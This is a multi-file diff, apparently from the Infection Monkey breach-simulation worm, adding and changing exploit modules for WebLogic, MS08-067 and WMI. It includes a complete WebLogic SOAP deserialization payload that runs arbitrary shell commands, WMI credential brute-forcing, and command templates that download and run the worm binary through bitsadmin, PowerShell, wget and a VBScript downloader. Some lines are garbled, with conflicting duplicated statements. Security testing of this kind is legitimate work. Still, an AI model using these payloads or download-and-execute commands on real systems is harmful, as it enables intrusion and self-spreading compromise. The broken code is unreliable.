from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
# How long server waits for get request in seconds
|
||||
SERVER_TIMEOUT = 4
|
||||
# How long should be wait after each request in seconds
|
||||
REQUEST_DELAY = 0.0001
|
||||
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
|
||||
REQUEST_TIMEOUT = 5
|
||||
# How long to wait for response in exploitation. In seconds
|
||||
EXECUTION_TIMEOUT = 15
|
||||
URLS = ["/wls-wsat/CoordinatorPortType",
|
||||
"/wls-wsat/CoordinatorPortType11",
|
||||
"/wls-wsat/ParticipantPortType",
|
||||
"/wls-wsat/ParticipantPortType11",
|
||||
"/wls-wsat/RegistrationPortTypeRPC",
|
||||
"/wls-wsat/RegistrationPortTypeRPC11",
|
||||
"/wls-wsat/RegistrationRequesterPortType",
|
||||
"/wls-wsat/RegistrationRequesterPortType11"]
|
||||
# Malicious request's headers:
|
||||
HEADERS = {
|
||||
"Content-Type": "text/xml;charset=UTF-8",
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
|
||||
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
|
||||
}
|
||||
|
||||
|
||||
class WebLogicExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
|
||||
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
|
||||
|
||||
def __init__(self, host):
|
||||
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
|
||||
super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
|
||||
'win32': 'monkey32.exe',
|
||||
'win64': 'monkey64.exe'})
|
||||
|
||||
def get_exploit_config(self):
|
||||
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
|
||||
exploit_config = super(WebLogic201710271, self).get_exploit_config()
|
||||
exploit_config['blind_exploit'] = True
|
||||
exploit_config['stop_checking_urls'] = True
|
||||
exploit_config['url_extensions'] = URLS
|
||||
exploit_config['url_extensions'] = WebLogic201710271.URLS
|
||||
return exploit_config
|
||||
|
||||
def exploit(self, url, command):
|
||||
|
@ -65,8 +85,9 @@ class WebLogicExploiter(WebRCE):
|
|||
try:
|
||||
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
|
||||
except Exception as e:
|
||||
print('[!] Connection Error')
|
||||
print(e)
|
||||
LOG.error("Connection error: %s" % e)
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def add_vulnerable_urls(self, urls, stop_checking=False):
|
||||
|
@ -89,7 +110,7 @@ class WebLogicExploiter(WebRCE):
|
|||
if httpd.get_requests > 0:
|
||||
# Add all urls because we don't know which one is vulnerable
|
||||
self.vulnerable_urls.extend(urls)
|
||||
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
|
||||
self.exploit_info['vulnerable_urls'] = self.vulnerable_urls
|
||||
else:
|
||||
LOG.info("No vulnerable urls found, skipping.")
|
||||
|
||||
|
@ -194,6 +215,7 @@ class WebLogicExploiter(WebRCE):
|
|||
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
|
||||
we determine if we can exploit by either getting a GET request from host or not.
|
||||
"""
|
||||
|
||||
def __init__(self, local_ip, local_port, lock, max_requests=1):
|
||||
self.local_ip = local_ip
|
||||
self.local_port = local_port
|
||||
|
@ -210,6 +232,7 @@ class WebLogicExploiter(WebRCE):
|
|||
def do_GET():
|
||||
LOG.info('Server received a request from vulnerable machine')
|
||||
self.get_requests += 1
|
||||
|
||||
LOG.info('Server waiting for exploited machine request...')
|
||||
httpd = HTTPServer((self.local_ip, self.local_port), S)
|
||||
httpd.daemon = True
|
||||
|
@ -222,3 +245,88 @@ class WebLogicExploiter(WebRCE):
|
|||
|
||||
def stop(self):
|
||||
self._stopped = True
|
||||
|
||||
|
||||
# Exploit based of:
|
||||
# Andres Rodriguez (acamro)
|
||||
# https://github.com/rapid7/metasploit-framework/pull/11780
|
||||
class WebLogic20192725(WebRCE):
|
||||
URLS = ["_async/AsyncResponseServiceHttps"]
|
||||
DELAY_BEFORE_EXPLOITING_SECONDS = 5
|
||||
|
||||
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
|
||||
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
|
||||
|
||||
def __init__(self, host):
|
||||
super(WebLogic20192725, self).__init__(host)
|
||||
|
||||
def get_exploit_config(self):
|
||||
exploit_config = super(WebLogic20192725, self).get_exploit_config()
|
||||
exploit_config['url_extensions'] = WebLogic20192725.URLS
|
||||
exploit_config['blind_exploit'] = True
|
||||
exploit_config['dropper'] = True
|
||||
return exploit_config
|
||||
|
||||
def execute_remote_monkey(self, url, path, dropper=False):
|
||||
# Without delay exploiter tries to launch monkey file that is still finishing up after downloading.
|
||||
time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS)
|
||||
super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper)
|
||||
|
||||
def exploit(self, url, command):
|
||||
if 'linux' in self.host.os['type']:
|
||||
payload = self.get_exploit_payload('/bin/sh', '-c', command)
|
||||
else:
|
||||
payload = self.get_exploit_payload('cmd', '/c', command)
|
||||
try:
|
||||
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
|
||||
return resp
|
||||
except Exception as e:
|
||||
LOG.error("Connection error: %s" % e)
|
||||
return False
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
|
||||
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
|
||||
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def get_exploit_payload(cmd_base, cmd_opt, command):
|
||||
"""
|
||||
Formats the payload used to exploit weblogic servers
|
||||
:param cmd_base: What command prompt to use eg. cmd
|
||||
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
|
||||
:param command: command itself
|
||||
:return: Formatted payload
|
||||
"""
|
||||
empty_payload = '''
|
||||
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
|
||||
xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
|
||||
<soapenv:Header>
|
||||
<wsa:Action>xx</wsa:Action>
|
||||
<wsa:RelatesTo>xx</wsa:RelatesTo>
|
||||
<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">
|
||||
<void class=\"java.lang.ProcessBuilder\">
|
||||
<array class=\"java.lang.String\" length=\"3\">
|
||||
<void index=\"0\">
|
||||
<string>{cmd_base}</string>
|
||||
</void>
|
||||
<void index=\"1\">
|
||||
<string>{cmd_opt}</string>
|
||||
</void>
|
||||
<void index=\"2\">
|
||||
<string>{cmd_payload}</string>
|
||||
</void>
|
||||
</array>
|
||||
<void method=\"start\"/>
|
||||
</void>
|
||||
</work:WorkContext>
|
||||
</soapenv:Header>
|
||||
<soapenv:Body>
|
||||
<asy:onAsyncDelivery/>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>'''
|
||||
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
|
||||
return payload
|
||||
|
|
|
@ -14,11 +14,11 @@ from enum import IntEnum
|
|||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport
|
||||
|
||||
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from infection_monkey.network import SMBFinger
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from . import HostExploiter
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
@ -92,7 +92,7 @@ class SRVSVC_Exploit(object):
|
|||
|
||||
def get_telnet_port(self):
|
||||
"""get_telnet_port()
|
||||
|
||||
|
||||
The port on which the Telnet service will listen.
|
||||
"""
|
||||
|
||||
|
@ -100,7 +100,7 @@ class SRVSVC_Exploit(object):
|
|||
|
||||
def start(self):
|
||||
"""start() -> socket
|
||||
|
||||
|
||||
Exploit the target machine and return a socket connected to it's
|
||||
listening Telnet service.
|
||||
"""
|
||||
|
@ -153,6 +153,7 @@ class SRVSVC_Exploit(object):
|
|||
|
||||
class Ms08_067_Exploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
_EXPLOITED_SERVICE = 'Microsoft Server Service'
|
||||
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
|
||||
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
|
||||
|
||||
|
@ -174,7 +175,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
self.host.os.get('version') in self._windows_versions.keys()
|
||||
return False
|
||||
|
||||
def exploit_host(self):
|
||||
def _exploit_host(self):
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
|
|
|
@ -6,8 +6,11 @@ import traceback
|
|||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, \
|
||||
get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
|
@ -17,12 +20,13 @@ LOG = logging.getLogger(__name__)
|
|||
class WmiExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
|
||||
|
||||
def __init__(self, host):
|
||||
super(WmiExploiter, self).__init__(host)
|
||||
|
||||
@WmiTools.dcom_wrap
|
||||
def exploit_host(self):
|
||||
def _exploit_host(self):
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
|
@ -32,8 +36,11 @@ class WmiExploiter(HostExploiter):
|
|||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
||||
for user, password, lm_hash, ntlm_hash in creds:
|
||||
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
password_hashed = self._config.hash_sensitive_data(password)
|
||||
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
|
||||
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
|
||||
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
|
||||
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
|
||||
|
||||
wmi_connection = WmiTools.WmiConnection()
|
||||
|
||||
|
@ -41,25 +48,21 @@ class WmiExploiter(HostExploiter):
|
|||
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
|
||||
except AccessDeniedException:
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug("Failed connecting to %r using WMI with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging)
|
||||
continue
|
||||
except DCERPCException:
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug("Failed connecting to %r using WMI with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging)
|
||||
continue
|
||||
except socket.error:
|
||||
LOG.debug("Network error in WMI connection to %r with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug(("Network error in WMI connection to %r with " % self.host) + creds_for_logging)
|
||||
return False
|
||||
except Exception as exc:
|
||||
LOG.debug("Unknown WMI connection error to %r with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
|
||||
self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
||||
LOG.debug(
|
||||
("Unknown WMI connection error to %r with " % self.host)
|
||||
+ creds_for_logging
|
||||
+ (" (%s):\n%s" % (exc, traceback.format_exc()))
|
||||
)
|
||||
return False
|
||||
|
||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||
|
@ -90,7 +93,8 @@ class WmiExploiter(HostExploiter):
|
|||
# execute the remote dropper in case the path isn't final
|
||||
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||
build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
@ -103,6 +107,8 @@ class WmiExploiter(HostExploiter):
|
|||
if (0 != result.ProcessId) and (0 == result.ReturnValue):
|
||||
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
|
||||
self.add_vuln_port(port='unknown')
|
||||
success = True
|
||||
else:
|
||||
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
|
@ -111,7 +117,8 @@ class WmiExploiter(HostExploiter):
|
|||
|
||||
result.RemRelease()
|
||||
wmi_connection.close()
|
||||
|
||||
self.add_executed_cmd(cmdline)
|
||||
return success
|
||||
|
||||
return False
|
||||
|
||||
|
|
|
@ -7,8 +7,9 @@ import logging.config
|
|||
import os
|
||||
import sys
|
||||
import traceback
|
||||
from multiprocessing import freeze_support
|
||||
|
||||
import infection_monkey.utils as utils
|
||||
from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
|
||||
from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||
from infection_monkey.dropper import MonkeyDrops
|
||||
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
|
||||
|
@ -43,7 +44,7 @@ def main():
|
|||
|
||||
if 2 > len(sys.argv):
|
||||
return True
|
||||
|
||||
freeze_support() # required for multiprocessing + pyinstaller on windows
|
||||
monkey_mode = sys.argv[1]
|
||||
|
||||
if not (monkey_mode in [MONKEY_ARG, DROPPER_ARG]):
|
||||
|
@ -68,7 +69,7 @@ def main():
|
|||
else:
|
||||
print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
|
||||
|
||||
print("Loaded Configuration: %r" % WormConfiguration.as_dict())
|
||||
print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
|
||||
|
||||
# Make sure we're not in a machine that has the kill file
|
||||
kill_path = os.path.expandvars(
|
||||
|
@ -79,10 +80,10 @@ def main():
|
|||
|
||||
try:
|
||||
if MONKEY_ARG == monkey_mode:
|
||||
log_path = utils.get_monkey_log_path()
|
||||
log_path = get_monkey_log_path()
|
||||
monkey_cls = InfectionMonkey
|
||||
elif DROPPER_ARG == monkey_mode:
|
||||
log_path = utils.get_dropper_log_path()
|
||||
log_path = get_dropper_log_path()
|
||||
monkey_cls = MonkeyDrops
|
||||
else:
|
||||
return True
|
||||
|
@ -98,6 +99,7 @@ def main():
|
|||
except OSError:
|
||||
pass
|
||||
LOG_CONFIG['handlers']['file']['filename'] = log_path
|
||||
# noinspection PyUnresolvedReferences
|
||||
LOG_CONFIG['root']['handlers'].append('file')
|
||||
else:
|
||||
del LOG_CONFIG['handlers']['file']
|
||||
|
@ -126,8 +128,8 @@ def main():
|
|||
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
|
||||
|
||||
return True
|
||||
except Exception:
|
||||
LOG.exception("Exception thrown from monkey's start function")
|
||||
except Exception as e:
|
||||
LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
|
||||
finally:
|
||||
monkey.cleanup()
|
||||
|
||||
|
|
|
@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
|||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||
|
||||
# Commands used for downloading monkeys
|
||||
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
|
||||
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
|
||||
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
||||
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
# Commands used to check for architecture and if machine is exploitable
|
||||
|
@ -40,4 +38,4 @@ HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
|||
"; chmod +x %(monkey_path)s " \
|
||||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
|
||||
DOWNLOAD_TIMEOUT = 300
|
||||
DOWNLOAD_TIMEOUT = 180
|
||||
|
|
|
@ -0,0 +1,45 @@
|
|||
from infection_monkey.model.host import VictimHost
|
||||
|
||||
|
||||
class VictimHostGenerator(object):
|
||||
def __init__(self, network_ranges, blocked_ips, same_machine_ips):
|
||||
self.blocked_ips = blocked_ips
|
||||
self.ranges = network_ranges
|
||||
self.local_addresses = same_machine_ips
|
||||
|
||||
def generate_victims(self, chunk_size):
|
||||
"""
|
||||
Generates VictimHosts in chunks from all the instances network ranges
|
||||
:param chunk_size: Maximum size of each chunk
|
||||
"""
|
||||
chunk = []
|
||||
for net_range in self.ranges:
|
||||
for victim in self.generate_victims_from_range(net_range):
|
||||
chunk.append(victim)
|
||||
if len(chunk) == chunk_size:
|
||||
yield chunk
|
||||
chunk = []
|
||||
if chunk: # finished with number of victims < chunk_size
|
||||
yield chunk
|
||||
|
||||
def generate_victims_from_range(self, net_range):
|
||||
"""
|
||||
Generates VictimHosts from a given netrange
|
||||
:param net_range: Network range object
|
||||
:return: Generator of VictimHost objects
|
||||
"""
|
||||
for address in net_range:
|
||||
if not self.is_ip_scannable(address): # check if the IP should be skipped
|
||||
continue
|
||||
if hasattr(net_range, 'domain_name'):
|
||||
victim = VictimHost(address, net_range.domain_name)
|
||||
else:
|
||||
victim = VictimHost(address)
|
||||
yield victim
|
||||
|
||||
def is_ip_scannable(self, ip_address):
|
||||
if ip_address in self.local_addresses:
|
||||
return False
|
||||
if ip_address in self.blocked_ips:
|
||||
return False
|
||||
return True
|
|
@ -0,0 +1,46 @@
|
|||
from unittest import TestCase
|
||||
from infection_monkey.model.victim_host_generator import VictimHostGenerator
|
||||
from common.network.network_range import CidrRange, SingleIpRange
|
||||
|
||||
|
||||
class VictimHostGeneratorTester(TestCase):
|
||||
|
||||
def setUp(self):
|
||||
self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts
|
||||
self.local_host_range = SingleIpRange('localhost')
|
||||
self.random_single_ip_range = SingleIpRange('41.50.13.37')
|
||||
|
||||
def test_chunking(self):
|
||||
chunk_size = 3
|
||||
# current test setup is 15+1+1-1 hosts
|
||||
test_ranges = [self.cidr_range, self.local_host_range, self.random_single_ip_range]
|
||||
generator = VictimHostGenerator(test_ranges, '10.0.0.1', [])
|
||||
victims = generator.generate_victims(chunk_size)
|
||||
for i in range(5): # quickly check the equally sided chunks
|
||||
self.assertEqual(len(victims.next()), chunk_size)
|
||||
victim_chunk_last = victims.next()
|
||||
self.assertEqual(len(victim_chunk_last), 1)
|
||||
|
||||
def test_remove_blocked_ip(self):
|
||||
generator = VictimHostGenerator(self.cidr_range, ['10.0.0.1'], [])
|
||||
|
||||
victims = list(generator.generate_victims_from_range(self.cidr_range))
|
||||
self.assertEqual(len(victims), 14) # 15 minus the 1 we blocked
|
||||
|
||||
def test_remove_local_ips(self):
|
||||
generator = VictimHostGenerator([], [], [])
|
||||
generator.local_addresses = ['127.0.0.1']
|
||||
victims = list(generator.generate_victims_from_range(self.local_host_range))
|
||||
self.assertEqual(len(victims), 0) # block the local IP
|
||||
|
||||
def test_generate_domain_victim(self):
|
||||
# domain name victim
|
||||
generator = VictimHostGenerator([], [], []) # dummy object
|
||||
victims = list(generator.generate_victims_from_range(self.local_host_range))
|
||||
self.assertEqual(len(victims), 1)
|
||||
self.assertEqual(victims[0].domain_name, 'localhost')
|
||||
|
||||
# don't generate for other victims
|
||||
victims = list(generator.generate_victims_from_range(self.random_single_ip_range))
|
||||
self.assertEqual(len(victims), 1)
|
||||
self.assertEqual(victims[0].domain_name, '')
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue